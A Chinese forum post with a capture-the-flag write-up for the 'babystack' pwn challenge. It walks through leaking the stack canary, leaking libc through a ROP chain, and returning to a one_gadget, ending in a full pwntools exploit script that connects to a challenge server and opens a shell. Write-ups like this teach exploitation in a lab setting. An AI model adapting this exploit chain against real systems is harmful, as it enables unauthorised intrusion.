攻防世界 pwn1 题解

打印 上一主题 下一主题

主题 854|帖子 854|积分 2562

攻防世界 pwn1 题解

下载附件,file命令识别文件为64位,checksec命令查看程序保护情况,如图,有CanaryNX保护。

在ida64中打开程序,程序的主要功能有两个:

  • 存储用户输入的字符串内容
  • 打印用户输入的字符串内容
特别的注意到,字符串数组大小为136(0x88),而read运行的最大输入大小为0x100,如图中红色框标注,因此可能存在栈溢出。同时puts可以将输入打出,因此可以想到借此泄露出canary值。

在汇编程序40091C地址处,可以看到canary值保存在rbp上8字节处(即紧邻rbp)。
GCC的canary,x86_64下从fs:0x28偏移处获取,32位下从gs:0x14偏移处获取

解题思路

1.Canary泄露
canary泄露原理:canary最低位设计为\x00,目的为截断字符串。通过缓冲区溢出将canary最低位截断字符\x00覆盖,然后通过puts函数可以将输入的字符串连带剩余的canary数据输出,canary最低字节补\x00即泄露出canary值。
2.栈溢出准备
Canary泄露后就可以进行栈溢出操作。通过one_gadget可以找到execve在动态链接库中的地址。

所以思路是通过puts泄露一个函数(puts)地址,进而找到链接库基址,与上面得到的execve地址相加得到其在程序中的地址。
3.栈溢出构造
得到execve在程序中地址后,就可以构造shellcode,将返回地址替换为execve。
  1. 'A'*136 + [Canary] + [fake ebp] + [execve addr]
复制代码
具体实现

1.Canary获取
  1. sh = remote('***.***.***.***',****)
  2. sh.sendlineafter('>> ','1')  # 选择1,存储输入字符串
  3. sh.sendline('A'*0x88)
复制代码
通过向程序输入0x88字节数据抵达canary上方,最后还有一个字符\n可将canary最低位\x00覆盖,然后使用puts输出。
  1. sh.sendlineafter('>> ','2')  # 选择2,输出字符串
  2. sh.recvuntil('A\n')
  3. canary = u64(sh.recv(7).rjust(8,b'\x00'))  ## 对canary解析
复制代码
2.获取execve地址

获取canary后可利用puts函数构造栈溢出shellcode泄露出puts函数在程序中的地址。
利用puts函数输出需要设置一个参数,需要pop rdi的gadget,利用ROPgadget寻找相关gadget。
  1. ROPgadget --binary babystack --only "pop|ret" | grep "rdi"
复制代码

如图,可以看到在地址0x400a93处有我们想要的gadget:pop rdi ; ret
可通过pwntool中的ELF加载程序,获取puts@got和puts@plt地址。
  1. elf = ELF('./babystack')
  2. puts_got = elf.got['puts']
  3. puts_plt = elf.plt['puts']
复制代码
我尝试通过symbols获取main函数地址失败了,但从ida中可以得到,如图,main函数地址为0x400908。

到此,我们可以构造栈溢出shellcode来泄露puts在程序中的地址了:
  1. 'A'*0x88 + [Canary] + 'B'*8 + [pop_rdi_addr] + [puts_got_addr] + [puts_plt_addr] + [main_addr]
复制代码
具体程序代码如下:
  1. puts_got = elf.got['puts']
  2. puts_plt = elf.plt['puts']
  3. main_addr = 0x400908
  4. pop_rdi = 0x400a93
  5. payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
  6. sh.sendlineafter('>> ','1')
  7. sh.sendline(payload)
  8. sh.sendlineafter('>> ','3')  # 执行退出操作,从而让程序执行我们的指令
  9. real_puts = u64(sh.recv(6).ljust(8,b'\x00'))  # 解析puts函数地址
复制代码
题目提供了链接库,获取puts在程序中地址后,可计算出链接库基址,进而获取我们需要的命令execve的地址。
  1. libc = ELF('./libc-2.23.so')
  2. base = real_puts - libc.symbols['puts']
  3. execve = base + 0x45216  # 0x45216为上面通过one_gadget找到的execve地址
复制代码
3.获取shell

做好所有准备工作后,就可以构造payload进行溢出了。
  1. payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
复制代码
所有的代码如下:
  1. from pwn import *
  2. elf = ELF('./babystack')
  3. libc = ELF('./libc-2.23.so')
  4. puts_got = elf.got['puts']
  5. puts_plt = elf.plt['puts']
  6. main_addr = 0x400908
  7. pop_rdi = 0x400a93
  8. sh = remote('61.147.171.105',62498)
  9. # 泄露canary地址
  10. sh.sendlineafter('>> ','1')
  11. sh.sendline(b'A'*0x88)
  12. sh.sendlineafter('>> ','2')
  13. sh.recvuntil('A\n')
  14. canary = u64(sh.recv(7).rjust(8,b'\x00'))
  15. print(hex(canary))
  16. # 泄露puts函数实际地址
  17. payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
  18. sh.sendlineafter('>> ','1')
  19. sh.sendline(payload)
  20. sh.sendlineafter('>> ','3')
  21. real_puts = u64(sh.recv(6).ljust(8,b'\x00'))
  22. print(hex(real_puts))
  23. # 获取execve实际地址
  24. base = real_puts - libc.symbols['puts']
  25. execve = base + 0x45216
  26. # 构造payload溢出获取shell
  27. payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
  28. sh.sendlineafter('>> ','1')
  29. sh.sendline(payload)
  30. sh.sendlineafter('>> ','3')
  31. sh.interactive()
复制代码
执行完后即可获得shell,获得flag。


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

罪恶克星

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表